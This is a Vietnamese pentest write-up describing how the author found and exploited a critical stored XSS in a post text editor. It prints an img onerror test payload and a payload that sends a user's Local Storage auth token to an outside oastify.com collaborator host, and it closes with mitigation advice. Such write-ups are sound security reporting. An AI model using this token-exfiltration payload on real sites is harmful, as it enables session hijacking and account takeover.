---
# System prepended metadata

title: Stored XSS Critical

---

# Stored XSS Critical
Dự án tôi vừa tham gia có bug **Stored XSS** với điểm CVSS của nó là 9.1 (Critical). Tôi chỉ vô tình tìm thấy Bug này =)))). Với những Bug Stored XSS bình thường mà tôi tìm được thì impact của nó chỉ ở mức High, nhưng với Bug lần này nó lên được Critical vì vài lý do sau:
* Đầu tiên, là token xác thực của ứng dụng được lưu ở **Local storage**.
* Thứ 2, là Hacker có thể **open redirect** gửi token này tới server của Hacker.
* Cuối cùng, nó lây qua cả Ứng dụng khác.

### Dưới đây là quá trình tìm và khai thác.

* Thì đầu tiên: Bug này xuất hiện ở chức năng tạo bài Đăng và trong bài đăng đó thì người dùng có thể thêm mô tả chỉ tiết về bài đăng của mình vào Text editor tool như bên dưới.
![](https://hackmd.io/_uploads/BJVP6yCB3.png "Text editor tool")
---

* Lúc này, tôi chỉ nghĩ là **oki giờ mình sẽ chèn 1 payload `img` vào để để xem thử có XSS được nó khum?** Sau khi chèn payload `<div><p>test</p><p><img/src/onerror=alert('test hem?')></p></div>` thì ứng dụng chấp nhận payload và thực thi payload mà tôi đã nhập vào. 
* Tiếp tục, tôi thử **open redirect** thì cũng được =))).
* Trong khi tôi đang note Bug này lại thì một bạn trong team của tôi đang test scope khác hỏi **Ủa??? Ai chèn XSS vào scope này vậy?**. Tôi chạy qua xem thử thì là payload của tôi.
* Lúc này, tôi nghĩ trong đầu lần này ngon rồi Critical *"húp vội kkk :v"*. Tôi liền chạy về máy, vào check lại xem có đúng là payload tôi mới chèn vào khum. Và thật sự là nó. Và trong lúc tôi đang suy nghĩ thì thanh niên kia có nói với tôi là token xác thực của nó lưu trong **Local Storage**.
* Lúc này, tôi nghĩ **ohh thôi xong rồi xong rồi!!!**, tôi liền vào check token của nó. Thì đúng là nó ở đó.
![](https://hackmd.io/_uploads/HJenGeAH3.png "Token trong Local Storage ")
---

* Lúc này, tôi lập tức chèn payload khác vào để lấy token của người dùng. Payload như sau `<img/src=x onerror=this.src='http://bn2s6xtm2n496oyytbp66liumlsdg34s.oastify.com?c='+localStorage.getItem('CapacitorStorage.ac');></p>`
![](https://hackmd.io/_uploads/ByTwml0S3.png "Request chèn payload")
---

* Lúc này, tôi vào scope bên kia để kiểm tra **BOOM!!!** Đã lấy được token của người dùng.
![](https://hackmd.io/_uploads/S1YnSlAB3.png "Token được gửi ra ngoài")
---

Đó là quá trình và cách thức mà tôi khai thác lỗ hổng này.

### Qua đó, tôi có khuyển nghị cách khắc phục cho những bug dạng này:
* Lọc đầu vào và mã hóa dữ liệu trên đầu ra của người dùng. 
* Encode các ký tự nguy hiểm (<,>,/,\,...) mà người dùng nhập vào bằng cách áp dụng kết hợp mã hóa HTML, URL, JavaScript và CSS hoặc thay thế chúng bằng các chuỗi trống. 
* Sử dụng Content Security Policy (CSP) để giảm mức độ nghiêm trọng của lỗ hổng XSS. 
* Hạn chế sử dụng hoặc nhúng Text editor tool của bên thứ 3 vào hệ thống. 
* Không lưu trữ trong Local Storage.


*yepp, Một ngày tốt lành!!!!*

